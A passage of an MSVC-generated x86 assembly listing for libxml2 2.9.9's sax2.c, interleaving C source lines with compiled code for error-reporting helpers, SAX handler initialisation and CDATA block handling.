mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov ecx, DWORD PTR _ctxt$[ebp] mov edx, DWORD PTR _error$[ebp] test ecx, ecx je SHORT $LN3@xmlWarnMsg ; 172 : if ((ctxt != NULL) && (ctxt->disableSAX != 0) && cmp DWORD PTR [ecx+212], 0 je SHORT $LN2@xmlWarnMsg cmp DWORD PTR [ecx+172], -1 je SHORT $LN1@xmlWarnMsg $LN2@xmlWarnMsg: ; 173 : (ctxt->instate == XML_PARSER_EOF)) ; 174 : return; ; 175 : if (ctxt != NULL) ; 176 : ctxt->errNo = error; mov DWORD PTR [ecx+84], edx $LN3@xmlWarnMsg: ; 177 : __xmlRaiseError(NULL, NULL, NULL, ctxt, NULL, XML_FROM_PARSER, error, mov eax, DWORD PTR _str1$[ebp] push eax push DWORD PTR _msg$[ebp] push 0 push 0 push 0 push 0 push eax push 0 push 0 push 1 push edx push 1 push 0 push ecx push 0 push 0 push 0 call ___xmlRaiseError add esp, 68 ; 00000044H $LN1@xmlWarnMsg: ; 178 : XML_ERR_WARNING, NULL, 0, ; 179 : (const char *) str1, NULL, ; 180 : NULL, 0, 0, msg, str1); ; 181 : } pop ebp ret 0 _xmlWarnMsg ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlFatalErrMsg _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _error$ = 12 ; size = 4 _msg$ = 16 ; size = 4 _str1$ = 20 ; size = 4 _str2$ = 24 ; size = 4 _xmlFatalErrMsg PROC ; COMDAT ; 140 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctxt$[ebp] mov edx, DWORD PTR _error$[ebp] test esi, esi je SHORT $LN3@xmlFatalEr ; 141 : if ((ctxt != NULL) && (ctxt->disableSAX != 0) && cmp DWORD PTR [esi+212], 0 je SHORT $LN2@xmlFatalEr cmp DWORD PTR [esi+172], -1 je SHORT $LN5@xmlFatalEr $LN2@xmlFatalEr: ; 142 : (ctxt->instate == XML_PARSER_EOF)) ; 143 : return; ; 144 : if (ctxt != NULL) ; 145 : ctxt->errNo = error; mov DWORD PTR [esi+84], edx $LN3@xmlFatalEr: ; 146 : __xmlRaiseError(NULL, NULL, NULL, ctxt, NULL, XML_FROM_PARSER, error, mov ecx, DWORD PTR _str2$[ebp] mov eax, DWORD PTR _str1$[ebp] push ecx push eax push DWORD PTR _msg$[ebp] push 0 push 0 push 0 push ecx push eax push 0 push 0 push 3 push edx push 1 push 0 push esi push 0 push 0 push 0 call ___xmlRaiseError add esp, 72 ; 00000048H ; 147 : XML_ERR_FATAL, NULL, 0, ; 148 : (const char *) str1, (const char *) str2, ; 149 : NULL, 0, 0, msg, str1, str2); ; 150 : if (ctxt != NULL) { test esi, esi je SHORT $LN5@xmlFatalEr ; 151 : ctxt->wellFormed = 0; ; 152 : ctxt->valid = 0; ; 153 : if (ctxt->recovery == 0) cmp DWORD PTR [esi+288], 0 mov DWORD PTR [esi+12], 0 mov DWORD PTR [esi+100], 0 jne SHORT $LN5@xmlFatalEr ; 154 : ctxt->disableSAX = 1; mov DWORD PTR [esi+212], 1 $LN5@xmlFatalEr: pop esi ; 155 : } ; 156 : } pop ebp ret 0 _xmlFatalErrMsg ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlErrValid _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _error$ = 12 ; size = 4 _msg$ = 16 ; size = 4 _str1$ = 20 ; size = 4 _str2$ = 24 ; size = 4 _xmlErrValid PROC ; COMDAT ; 100 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctxt$[ebp] xor edx, edx test esi, esi je SHORT $LN3@xmlErrVali ; 101 : xmlStructuredErrorFunc schannel = NULL; ; 102 : ; 103 : if ((ctxt != NULL) && (ctxt->disableSAX != 0) && cmp DWORD PTR [esi+212], edx je SHORT $LN2@xmlErrVali cmp DWORD PTR [esi+172], -1 je $LN4@xmlErrVali $LN2@xmlErrVali: ; 104 : (ctxt->instate == XML_PARSER_EOF)) ; 105 : return; ; 106 : if (ctxt != NULL) { ; 107 : ctxt->errNo = error; ; 108 : if ((ctxt->sax != NULL) && (ctxt->sax->initialized == XML_SAX2_MAGIC)) mov eax, DWORD PTR [esi] push edi mov edi, DWORD PTR _error$[ebp] mov DWORD PTR [esi+84], edi test eax, eax je SHORT $LN5@xmlErrVali cmp DWORD PTR [eax+108], -554844497 ; deedbeafH jne SHORT $LN5@xmlErrVali ; 109 : schannel = ctxt->sax->serror; mov edx, DWORD PTR [eax+124] $LN5@xmlErrVali: ; 110 : __xmlRaiseError(schannel, mov ecx, DWORD PTR _str2$[ebp] mov eax, DWORD PTR _str1$[ebp] push ecx push eax push DWORD PTR _msg$[ebp] push 0 push 0 push 0 push ecx push eax push 0 push 0 push 2 push edi push 4 push 0 push esi push DWORD PTR [esi+108] push DWORD PTR [esi+112] push edx call ___xmlRaiseError add esp, 72 ; 00000048H ; 111 : ctxt->vctxt.error, ctxt->vctxt.userData, ; 112 : ctxt, NULL, XML_FROM_DTD, error, ; 113 : XML_ERR_ERROR, NULL, 0, (const char *) str1, ; 114 : (const char *) str2, NULL, 0, 0, ; 115 : msg, (const char *) str1, (const char *) str2); ; 116 : ctxt->valid = 0; mov DWORD PTR [esi+100], 0 pop edi pop esi ; 119 : NULL, NULL, ; 120 : ctxt, NULL, XML_FROM_DTD, error, ; 121 : XML_ERR_ERROR, NULL, 0, (const char *) str1, ; 122 : (const char *) str2, NULL, 0, 0, ; 123 : msg, (const char *) str1, (const char *) str2); ; 124 : } ; 125 : } pop ebp ret 0 $LN3@xmlErrVali: ; 117 : } else { ; 118 : __xmlRaiseError(schannel, mov ecx, DWORD PTR _str2$[ebp] mov eax, DWORD PTR _str1$[ebp] push ecx push eax push DWORD PTR _msg$[ebp] push 0 push 0 push 0 push ecx push eax push 0 push 0 push 2 push DWORD PTR _error$[ebp] push 4 push 0 push 0 push 0 push 0 push 0 call ___xmlRaiseError add esp, 72 ; 00000048H $LN4@xmlErrVali: pop esi ; 119 : NULL, NULL, ; 120 : ctxt, NULL, XML_FROM_DTD, error, ; 121 : XML_ERR_ERROR, NULL, 0, (const char *) str1, ; 122 : (const char *) str2, NULL, 0, 0, ; 123 : msg, (const char *) str1, (const char *) str2); ; 124 : } ; 125 : } pop ebp ret 0 _xmlErrValid ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2ErrMemory _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _msg$ = 12 ; size = 4 _xmlSAX2ErrMemory PROC ; COMDAT ; 60 : xmlSAX2ErrMemory(xmlParserCtxtPtr ctxt, const char *msg) { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctxt$[ebp] xor ecx, ecx test esi, esi je SHORT $LN2@xmlSAX2Err ; 61 : xmlStructuredErrorFunc schannel = NULL; ; 62 : const char *str1 = "out of memory\n"; ; 63 : ; 64 : if (ctxt != NULL) { ; 65 : ctxt->errNo = XML_ERR_NO_MEMORY; mov eax, DWORD PTR [esi] mov DWORD PTR [esi+84], 2 ; 66 : if ((ctxt->sax != NULL) && (ctxt->sax->initialized == XML_SAX2_MAGIC)) test eax, eax je SHORT $LN4@xmlSAX2Err cmp DWORD PTR [eax+108], -554844497 ; deedbeafH jne SHORT $LN4@xmlSAX2Err ; 67 : schannel = ctxt->sax->serror; mov ecx, DWORD PTR [eax+124] $LN4@xmlSAX2Err: ; 68 : __xmlRaiseError(schannel, push 0 push OFFSET ??_C@_0P@PCJPAHLM@out?5of?5memory?6@ push DWORD PTR _msg$[ebp] push 0 push 0 push 0 push 0 push OFFSET ??_C@_0P@PCJPAHLM@out?5of?5memory?6@ push 0 push 0 push 2 push 2 push 1 push 0 push esi push DWORD PTR [esi+108] push DWORD PTR [esi+112] push ecx call ___xmlRaiseError ; 79 : NULL, NULL, ; 80 : ctxt, NULL, XML_FROM_PARSER, XML_ERR_NO_MEMORY, ; 81 : XML_ERR_ERROR, NULL, 0, (const char *) str1, ; 82 : NULL, NULL, 0, 0, ; 83 : msg, (const char *) str1, NULL); ; 84 : } ; 85 : } add esp, 72 ; 00000048H mov DWORD PTR [esi+84], 2 mov DWORD PTR [esi+172], -1 mov DWORD PTR [esi+212], 1 pop esi pop ebp ret 0 $LN2@xmlSAX2Err: ; 69 : ctxt->vctxt.error, ctxt->vctxt.userData, ; 70 : ctxt, NULL, XML_FROM_PARSER, XML_ERR_NO_MEMORY, ; 71 : XML_ERR_ERROR, NULL, 0, (const char *) str1, ; 72 : NULL, NULL, 0, 0, ; 73 : msg, (const char *) str1, NULL); ; 74 : ctxt->errNo = XML_ERR_NO_MEMORY; ; 75 : ctxt->instate = XML_PARSER_EOF; ; 76 : ctxt->disableSAX = 1; ; 77 : } else { ; 78 : __xmlRaiseError(schannel, push 0 push OFFSET ??_C@_0P@PCJPAHLM@out?5of?5memory?6@ push DWORD PTR _msg$[ebp] push 0 push 0 push 0 push 0 push OFFSET ??_C@_0P@PCJPAHLM@out?5of?5memory?6@ push 0 push 0 push 2 push 2 push 1 push 0 push 0 push 0 push 0 push 0 call ___xmlRaiseError ; 79 : NULL, NULL, ; 80 : ctxt, NULL, XML_FROM_PARSER, XML_ERR_NO_MEMORY, ; 81 : XML_ERR_ERROR, NULL, 0, (const char *) str1, ; 82 : NULL, NULL, 0, 0, ; 83 : msg, (const char *) str1, NULL); ; 84 : } ; 85 : } add esp, 72 ; 00000048H pop esi pop ebp ret 0 _xmlSAX2ErrMemory ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlDefaultSAXHandlerInit _TEXT SEGMENT _xmlDefaultSAXHandlerInit PROC ; COMDAT mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 push 1 call ___xmlDefaultSAXHandler push eax call _xmlSAXVersion add esp, 8 ret 0 _xmlDefaultSAXHandlerInit ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _docbDefaultSAXHandlerInit _TEXT SEGMENT _docbDefaultSAXHandlerInit PROC ; COMDAT mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 call ___docbDefaultSAXHandler push eax call _xmlSAX2InitDocbDefaultSAXHandler pop ecx ret 0 _docbDefaultSAXHandlerInit ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2InitDocbDefaultSAXHandler _TEXT SEGMENT _hdlr$ = 8 ; size = 4 _xmlSAX2InitDocbDefaultSAXHandler PROC ; COMDAT ; 3014 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _hdlr$[ebp] test eax, eax je $LN3@xmlSAX2Ini ; 3015 : if ((hdlr == NULL) || (hdlr->initialized != 0)) cmp DWORD PTR [eax+108], 0 jne $LN3@xmlSAX2Ini ; 3016 : return; ; 3017 : ; 3018 : hdlr->internalSubset = xmlSAX2InternalSubset; mov DWORD PTR [eax], OFFSET _xmlSAX2InternalSubset ; 3019 : hdlr->externalSubset = NULL; mov DWORD PTR [eax+104], 0 ; 3020 : hdlr->isStandalone = xmlSAX2IsStandalone; mov DWORD PTR [eax+4], OFFSET _xmlSAX2IsStandalone ; 3021 : hdlr->hasInternalSubset = xmlSAX2HasInternalSubset; mov DWORD PTR [eax+8], OFFSET _xmlSAX2HasInternalSubset ; 3022 : hdlr->hasExternalSubset = xmlSAX2HasExternalSubset; mov DWORD PTR [eax+12], OFFSET _xmlSAX2HasExternalSubset ; 3023 : hdlr->resolveEntity = xmlSAX2ResolveEntity; mov DWORD PTR [eax+16], OFFSET _xmlSAX2ResolveEntity ; 3024 : hdlr->getEntity = xmlSAX2GetEntity; mov DWORD PTR [eax+20], OFFSET _xmlSAX2GetEntity ; 3025 : hdlr->getParameterEntity = NULL; mov DWORD PTR [eax+96], 0 ; 3026 : hdlr->entityDecl = xmlSAX2EntityDecl; mov DWORD PTR [eax+24], OFFSET _xmlSAX2EntityDecl ; 3027 : hdlr->attributeDecl = NULL; mov DWORD PTR [eax+32], 0 ; 3028 : hdlr->elementDecl = NULL; mov DWORD PTR [eax+36], 0 ; 3029 : hdlr->notationDecl = NULL; mov DWORD PTR [eax+28], 0 ; 3030 : hdlr->unparsedEntityDecl = NULL; mov DWORD PTR [eax+40], 0 ; 3031 : hdlr->setDocumentLocator = xmlSAX2SetDocumentLocator; mov DWORD PTR [eax+44], OFFSET _xmlSAX2SetDocumentLocator ; 3032 : hdlr->startDocument = xmlSAX2StartDocument; mov DWORD PTR [eax+48], OFFSET _xmlSAX2StartDocument ; 3033 : hdlr->endDocument = xmlSAX2EndDocument; mov DWORD PTR [eax+52], OFFSET _xmlSAX2EndDocument ; 3034 : hdlr->startElement = xmlSAX2StartElement; mov DWORD PTR [eax+56], OFFSET _xmlSAX2StartElement ; 3035 : hdlr->endElement = xmlSAX2EndElement; mov DWORD PTR [eax+60], OFFSET _xmlSAX2EndElement ; 3036 : hdlr->reference = xmlSAX2Reference; mov DWORD PTR [eax+64], OFFSET _xmlSAX2Reference ; 3037 : hdlr->characters = xmlSAX2Characters; mov DWORD PTR [eax+68], OFFSET _xmlSAX2Characters ; 3038 : hdlr->cdataBlock = NULL; mov DWORD PTR [eax+100], 0 ; 3039 : hdlr->ignorableWhitespace = xmlSAX2IgnorableWhitespace; mov DWORD PTR [eax+72], OFFSET _xmlSAX2IgnorableWhitespace ; 3040 : hdlr->processingInstruction = NULL; mov DWORD PTR [eax+76], 0 ; 3041 : hdlr->comment = xmlSAX2Comment; mov DWORD PTR [eax+80], OFFSET _xmlSAX2Comment ; 3042 : hdlr->warning = xmlParserWarning; mov DWORD PTR [eax+84], OFFSET _xmlParserWarning ; 3043 : hdlr->error = xmlParserError; mov DWORD PTR [eax+88], OFFSET _xmlParserError ; 3044 : hdlr->fatalError = xmlParserError; mov DWORD PTR [eax+92], OFFSET _xmlParserError ; 3045 : ; 3046 : hdlr->initialized = 1; mov DWORD PTR [eax+108], 1 $LN3@xmlSAX2Ini: ; 3047 : } pop ebp ret 0 _xmlSAX2InitDocbDefaultSAXHandler ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _htmlDefaultSAXHandlerInit _TEXT SEGMENT _htmlDefaultSAXHandlerInit PROC ; COMDAT mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 call ___htmlDefaultSAXHandler push eax call _xmlSAX2InitHtmlDefaultSAXHandler pop ecx ret 0 _htmlDefaultSAXHandlerInit ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2InitHtmlDefaultSAXHandler _TEXT SEGMENT _hdlr$ = 8 ; size = 4 _xmlSAX2InitHtmlDefaultSAXHandler PROC ; COMDAT ; 2956 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _hdlr$[ebp] test eax, eax je $LN3@xmlSAX2Ini ; 2957 : if ((hdlr == NULL) || (hdlr->initialized != 0)) cmp DWORD PTR [eax+108], 0 jne $LN3@xmlSAX2Ini ; 2958 : return; ; 2959 : ; 2960 : hdlr->internalSubset = xmlSAX2InternalSubset; mov DWORD PTR [eax], OFFSET _xmlSAX2InternalSubset ; 2961 : hdlr->externalSubset = NULL; mov DWORD PTR [eax+104], 0 ; 2962 : hdlr->isStandalone = NULL; mov DWORD PTR [eax+4], 0 ; 2963 : hdlr->hasInternalSubset = NULL; mov DWORD PTR [eax+8], 0 ; 2964 : hdlr->hasExternalSubset = NULL; mov DWORD PTR [eax+12], 0 ; 2965 : hdlr->resolveEntity = NULL; mov DWORD PTR [eax+16], 0 ; 2966 : hdlr->getEntity = xmlSAX2GetEntity; mov DWORD PTR [eax+20], OFFSET _xmlSAX2GetEntity ; 2967 : hdlr->getParameterEntity = NULL; mov DWORD PTR [eax+96], 0 ; 2968 : hdlr->entityDecl = NULL; mov DWORD PTR [eax+24], 0 ; 2969 : hdlr->attributeDecl = NULL; mov DWORD PTR [eax+32], 0 ; 2970 : hdlr->elementDecl = NULL; mov DWORD PTR [eax+36], 0 ; 2971 : hdlr->notationDecl = NULL; mov DWORD PTR [eax+28], 0 ; 2972 : hdlr->unparsedEntityDecl = NULL; mov DWORD PTR [eax+40], 0 ; 2973 : hdlr->setDocumentLocator = xmlSAX2SetDocumentLocator; mov DWORD PTR [eax+44], OFFSET _xmlSAX2SetDocumentLocator ; 2974 : hdlr->startDocument = xmlSAX2StartDocument; mov DWORD PTR [eax+48], OFFSET _xmlSAX2StartDocument ; 2975 : hdlr->endDocument = xmlSAX2EndDocument; mov DWORD PTR [eax+52], OFFSET _xmlSAX2EndDocument ; 2976 : hdlr->startElement = xmlSAX2StartElement; mov DWORD PTR [eax+56], OFFSET _xmlSAX2StartElement ; 2977 : hdlr->endElement = xmlSAX2EndElement; mov DWORD PTR [eax+60], OFFSET _xmlSAX2EndElement ; 2978 : hdlr->reference = NULL; mov DWORD PTR [eax+64], 0 ; 2979 : hdlr->characters = xmlSAX2Characters; mov DWORD PTR [eax+68], OFFSET _xmlSAX2Characters ; 2980 : hdlr->cdataBlock = xmlSAX2CDataBlock; mov DWORD PTR [eax+100], OFFSET _xmlSAX2CDataBlock ; 2981 : hdlr->ignorableWhitespace = xmlSAX2IgnorableWhitespace; mov DWORD PTR [eax+72], OFFSET _xmlSAX2IgnorableWhitespace ; 2982 : hdlr->processingInstruction = xmlSAX2ProcessingInstruction; mov DWORD PTR [eax+76], OFFSET _xmlSAX2ProcessingInstruction ; 2983 : hdlr->comment = xmlSAX2Comment; mov DWORD PTR [eax+80], OFFSET _xmlSAX2Comment ; 2984 : hdlr->warning = xmlParserWarning; mov DWORD PTR [eax+84], OFFSET _xmlParserWarning ; 2985 : hdlr->error = xmlParserError; mov DWORD PTR [eax+88], OFFSET _xmlParserError ; 2986 : hdlr->fatalError = xmlParserError; mov DWORD PTR [eax+92], OFFSET _xmlParserError ; 2987 : ; 2988 : hdlr->initialized = 1; mov DWORD PTR [eax+108], 1 $LN3@xmlSAX2Ini: ; 2989 : } pop ebp ret 0 _xmlSAX2InitHtmlDefaultSAXHandler ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2InitDefaultSAXHandler _TEXT SEGMENT _hdlr$ = 8 ; size = 4 _warning$ = 12 ; size = 4 _xmlSAX2InitDefaultSAXHandler PROC ; COMDAT ; 2922 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _hdlr$[ebp] test esi, esi je SHORT $LN4@xmlSAX2Ini ; 2923 : if ((hdlr == NULL) || (hdlr->initialized != 0)) cmp DWORD PTR [esi+108], 0 jne SHORT $LN4@xmlSAX2Ini ; 2924 : return; ; 2925 : ; 2926 : xmlSAXVersion(hdlr, xmlSAX2DefaultVersionValue); push DWORD PTR _xmlSAX2DefaultVersionValue push esi call _xmlSAXVersion ; 2927 : if (warning == 0) xor ecx, ecx add esp, 8 cmp DWORD PTR _warning$[ebp], ecx mov eax, OFFSET _xmlParserWarning cmove eax, ecx mov DWORD PTR [esi+84], eax $LN4@xmlSAX2Ini: pop esi ; 2928 : hdlr->warning = NULL; ; 2929 : else ; 2930 : hdlr->warning = xmlParserWarning; ; 2931 : } pop ebp ret 0 _xmlSAX2InitDefaultSAXHandler ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAXVersion _TEXT SEGMENT _hdlr$ = 8 ; size = 4 _version$ = 12 ; size = 4 _xmlSAXVersion PROC ; COMDAT ; 2867 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _hdlr$[ebp] test eax, eax je $LN5@xmlSAXVers ; 2868 : if (hdlr == NULL) return(-1); ; 2869 : if (version == 2) { mov ecx, DWORD PTR _version$[ebp] cmp ecx, 2 jne SHORT $LN3@xmlSAXVers ; 2870 : hdlr->startElement = NULL; ; 2871 : hdlr->endElement = NULL; ; 2872 : hdlr->startElementNs = xmlSAX2StartElementNs; ; 2873 : hdlr->endElementNs = xmlSAX2EndElementNs; ; 2874 : hdlr->serror = NULL; ; 2875 : hdlr->initialized = XML_SAX2_MAGIC; xor edx, edx mov DWORD PTR [eax+116], OFFSET _xmlSAX2StartElementNs mov DWORD PTR [eax+120], OFFSET _xmlSAX2EndElementNs mov ecx, -554844497 ; deedbeafH mov DWORD PTR [eax+124], 0 xor esi, esi jmp SHORT $LN6@xmlSAXVers $LN3@xmlSAXVers: ; 2876 : #ifdef LIBXML_SAX1_ENABLED ; 2877 : } else if (version == 1) { cmp ecx, 1 jne $LN5@xmlSAXVers ; 2878 : hdlr->startElement = xmlSAX2StartElement; ; 2879 : hdlr->endElement = xmlSAX2EndElement; ; 2880 : hdlr->initialized = 1; mov edx, OFFSET _xmlSAX2EndElement mov esi, OFFSET _xmlSAX2StartElement $LN6@xmlSAXVers: ; 2884 : hdlr->internalSubset = xmlSAX2InternalSubset; mov DWORD PTR [eax+56], esi mov DWORD PTR [eax+60], edx mov DWORD PTR [eax+108], ecx mov DWORD PTR [eax], OFFSET _xmlSAX2InternalSubset ; 2885 : hdlr->externalSubset = xmlSAX2ExternalSubset; mov DWORD PTR [eax+104], OFFSET _xmlSAX2ExternalSubset ; 2886 : hdlr->isStandalone = xmlSAX2IsStandalone; mov DWORD PTR [eax+4], OFFSET _xmlSAX2IsStandalone ; 2887 : hdlr->hasInternalSubset = xmlSAX2HasInternalSubset; mov DWORD PTR [eax+8], OFFSET _xmlSAX2HasInternalSubset ; 2888 : hdlr->hasExternalSubset = xmlSAX2HasExternalSubset; mov DWORD PTR [eax+12], OFFSET _xmlSAX2HasExternalSubset ; 2889 : hdlr->resolveEntity = xmlSAX2ResolveEntity; mov DWORD PTR [eax+16], OFFSET _xmlSAX2ResolveEntity ; 2890 : hdlr->getEntity = xmlSAX2GetEntity; mov DWORD PTR [eax+20], OFFSET _xmlSAX2GetEntity ; 2891 : hdlr->getParameterEntity = xmlSAX2GetParameterEntity; mov DWORD PTR [eax+96], OFFSET _xmlSAX2GetParameterEntity ; 2892 : hdlr->entityDecl = xmlSAX2EntityDecl; mov DWORD PTR [eax+24], OFFSET _xmlSAX2EntityDecl ; 2893 : hdlr->attributeDecl = xmlSAX2AttributeDecl; mov DWORD PTR [eax+32], OFFSET _xmlSAX2AttributeDecl ; 2894 : hdlr->elementDecl = xmlSAX2ElementDecl; mov DWORD PTR [eax+36], OFFSET _xmlSAX2ElementDecl ; 2895 : hdlr->notationDecl = xmlSAX2NotationDecl; mov DWORD PTR [eax+28], OFFSET _xmlSAX2NotationDecl ; 2896 : hdlr->unparsedEntityDecl = xmlSAX2UnparsedEntityDecl; mov DWORD PTR [eax+40], OFFSET _xmlSAX2UnparsedEntityDecl ; 2897 : hdlr->setDocumentLocator = xmlSAX2SetDocumentLocator; mov DWORD PTR [eax+44], OFFSET _xmlSAX2SetDocumentLocator ; 2898 : hdlr->startDocument = xmlSAX2StartDocument; mov DWORD PTR [eax+48], OFFSET _xmlSAX2StartDocument ; 2899 : hdlr->endDocument = xmlSAX2EndDocument; mov DWORD PTR [eax+52], OFFSET _xmlSAX2EndDocument ; 2900 : hdlr->reference = xmlSAX2Reference; mov DWORD PTR [eax+64], OFFSET _xmlSAX2Reference ; 2901 : hdlr->characters = xmlSAX2Characters; mov DWORD PTR [eax+68], OFFSET _xmlSAX2Characters ; 2902 : hdlr->cdataBlock = xmlSAX2CDataBlock; mov DWORD PTR [eax+100], OFFSET _xmlSAX2CDataBlock ; 2903 : hdlr->ignorableWhitespace = xmlSAX2Characters; mov DWORD PTR [eax+72], OFFSET _xmlSAX2Characters ; 2904 : hdlr->processingInstruction = xmlSAX2ProcessingInstruction; mov DWORD PTR [eax+76], OFFSET _xmlSAX2ProcessingInstruction ; 2905 : hdlr->comment = xmlSAX2Comment; mov DWORD PTR [eax+80], OFFSET _xmlSAX2Comment ; 2906 : hdlr->warning = xmlParserWarning; mov DWORD PTR [eax+84], OFFSET _xmlParserWarning ; 2907 : hdlr->error = xmlParserError; mov DWORD PTR [eax+88], OFFSET _xmlParserError ; 2908 : hdlr->fatalError = xmlParserError; mov DWORD PTR [eax+92], OFFSET _xmlParserError ; 2909 : ; 2910 : return(0); xor eax, eax pop esi ; 2911 : } pop ebp ret 0 $LN5@xmlSAXVers: ; 2881 : #endif /* LIBXML_SAX1_ENABLED */ ; 2882 : } else ; 2883 : return(-1); or eax, -1 pop esi ; 2911 : } pop ebp ret 0 _xmlSAXVersion ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAXDefaultVersion _TEXT SEGMENT _version$ = 8 ; size = 4 _xmlSAXDefaultVersion PROC ; COMDAT ; 2846 : { push ebp mov ebp, esp mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _version$[ebp] mov ecx, DWORD PTR _xmlSAX2DefaultVersionValue cmp eax, 1 je SHORT $LN2@xmlSAXDefa ; 2847 : int ret = xmlSAX2DefaultVersionValue; ; 2848 : ; 2849 : if ((version != 1) && (version != 2)) cmp eax, 2 je SHORT $LN2@xmlSAXDefa ; 2850 : return(-1); or eax, -1 ; 2853 : } pop ebp ret 0 $LN2@xmlSAXDefa: ; 2851 : xmlSAX2DefaultVersionValue = version; mov DWORD PTR _xmlSAX2DefaultVersionValue, eax ; 2852 : return(ret); mov eax, ecx ; 2853 : } pop ebp ret 0 _xmlSAXDefaultVersion ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2CDataBlock _TEXT SEGMENT _ctx$ = 8 ; size = 4 _value$ = 12 ; size = 4 _len$ = 16 ; size = 4 _xmlSAX2CDataBlock PROC ; COMDAT ; 2805 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je SHORT $LN5@xmlSAX2CDa ; 2806 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 2807 : xmlNodePtr ret, lastChild; ; 2808 : ; 2809 : if (ctx == NULL) return; ; 2810 : #ifdef DEBUG_SAX ; 2811 : xmlGenericError(xmlGenericErrorContext, ; 2812 : "SAX.pcdata(%.10s, %d)\n", value, len); ; 2813 : #endif ; 2814 : lastChild = xmlGetLastChild(ctxt->node); push DWORD PTR [esi+52] call _xmlGetLastChild add esp, 4 ; 2815 : #ifdef DEBUG_SAX_TREE ; 2816 : xmlGenericError(xmlGenericErrorContext, ; 2817 : "add chars to %s \n", ctxt->node->name); ; 2818 : #endif ; 2819 : if ((lastChild != NULL) && test eax, eax je SHORT $LN3@xmlSAX2CDa cmp DWORD PTR [eax+4], 4 jne SHORT $LN3@xmlSAX2CDa pop esi ; 2820 : (lastChild->type == XML_CDATA_SECTION_NODE)) { ; 2821 : xmlTextConcat(lastChild, value, len); mov DWORD PTR _ctx$[ebp], eax ; 2826 : } ; 2827 : } pop ebp ; 2820 : (lastChild->type == XML_CDATA_SECTION_NODE)) { ; 2821 : xmlTextConcat(lastChild, value, len); jmp _xmlTextConcat $LN3@xmlSAX2CDa: push edi ; 2822 : } else { ; 2823 : ret = xmlNewCDataBlock(ctxt->myDoc, value, len); push DWORD PTR _len$[ebp] push DWORD PTR _value$[ebp] push DWORD PTR [esi+8] call _xmlNewCDataBlock mov edi, eax ; 2824 : if (xmlAddChild(ctxt->node, ret) == NULL) push edi push DWORD PTR [esi+52] call _xmlAddChild add esp, 20 ; 00000014H test eax, eax jne SHORT $LN7@xmlSAX2CDa ; 2825 : xmlFreeNode(ret); push edi call _xmlFreeNode add esp, 4 $LN7@xmlSAX2CDa: pop edi $LN5@xmlSAX2CDa: pop esi ; 2826 : } ; 2827 : } pop ebp ret 0 _xmlSAX2CDataBlock ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT 